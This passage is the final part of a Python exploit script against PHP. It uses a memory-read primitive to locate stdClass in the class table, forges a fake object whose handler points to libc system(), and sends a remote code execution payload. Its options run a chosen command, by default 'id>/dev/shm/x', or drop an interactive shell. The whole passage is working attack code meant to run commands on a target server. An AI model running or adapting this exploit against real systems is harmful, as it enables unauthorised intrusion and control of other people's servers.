fake object # 2. Calls handlers->get_properties_for(obj, ...) at vtable+0xC8 # 3. We point get_properties_for → libc system() # 4. system() receives obj as first arg, which starts with our cmd # # GC_ADDREF corruption: serialize calls php_add_var_hash → GC_ADDREF, # incrementing uint32 at obj+0x00. We put 0x09 (tab) at byte 0; after # +1 it becomes 0x0A (newline). The command at byte 1 onward is passed # to sh, which treats the leading newline as empty and runs our command. print(f"\n[Phase 7] RCE trigger") # First resolve stdClass ce via EG(class_table) — needed for fake obj std_class_ce = None print(f" Resolving stdClass via class_table @ 0x{class_table:x}") r2 = isstring_read(class_table - 0x18) if r2 is None: print(f" class_table HT read failed") elif r2[0] < 48 or len(r2[1]) < 32: print(f" class_table HT: len={r2[0]} data={len(r2[1])} (too short)") else: htlen, htdata = r2 ct_flags_mask = struct.unpack_from('> 32) & 0xFFFFFFFF ct_mask_s = ct_nTableMask if ct_nTableMask < 0x80000000 else ct_nTableMask - 0x100000000 print(f" class_table: nTableMask={ct_mask_s} arData=0x{ct_arData:x} nUsed={ct_nUsed}") ct_hash_size = (-ct_mask_s) * 4 ct_alloc = ct_arData - ct_hash_size r3 = isstring_read(ct_alloc - 0x18) if r3 is None: print(f" class_table data read crashed") else: ct_dlen, ct_ddata = r3 key_b = b'stdclass' h = php_djb_hash(key_b) si = h | (ct_mask_s & 0xFFFFFFFF) si = si & 0xFFFFFFFF si_s = si - 0x100000000 if si >= 0x80000000 else si hso = (si_s + (-ct_mask_s)) * 4 if 0 <= hso < len(ct_ddata) - 4: bi = struct.unpack_from('= ct_nUsed or bi == 0xFFFFFFFF: break bo = ct_hash_size + bi * 32 if bo + 32 > len(ct_ddata): break bval = struct.unpack_from(' 0x10000: rk = isstring_read(bkey) if rk and rk[0] == 8 and rk[1][:8] == b'stdclass': std_class_ce = bval print(f" stdClass ce = 0x{std_class_ce:x}") break if bnext == 0xFFFFFFFF: break bi = bnext if std_class_ce is None: print(" Failed to resolve stdClass ce"); continue if args.resolve_only or args.shell: import json result = json.dumps({ 'system_addr': system_addr, 'S': S, 'std_class_ce': std_class_ce, 'heap_ref': heap_ref, }) print(f"\nRESOLVED:{result}") print(f"\n[*] Total requests: {req_count}") if args.shell: resolved = json.loads(result) drop_shell(resolved['std_class_ce'], resolved['system_addr'], resolved['S']) return cmd_str = args.cmd or 'id>/dev/shm/x' print(f" Command: {cmd_str}") print(f" stdClass ce = 0x{std_class_ce:x}") print(f" system() = 0x{system_addr:x}") print(f" S = 0x{S:x}") print(f" Sending RCE payload...") output = fire_rce(cmd_str, std_class_ce, system_addr, S) if output is not None: print(f" Response ({len(output)} bytes):") print(f" {output[:500]}") else: print(f" No response (worker may have crashed after execution)") print(f"\n[*] Total requests: {req_count}") return print(f"\n[-] Chain did not complete") print(f"[*] Total requests: {req_count}") if __name__ == '__main__': main()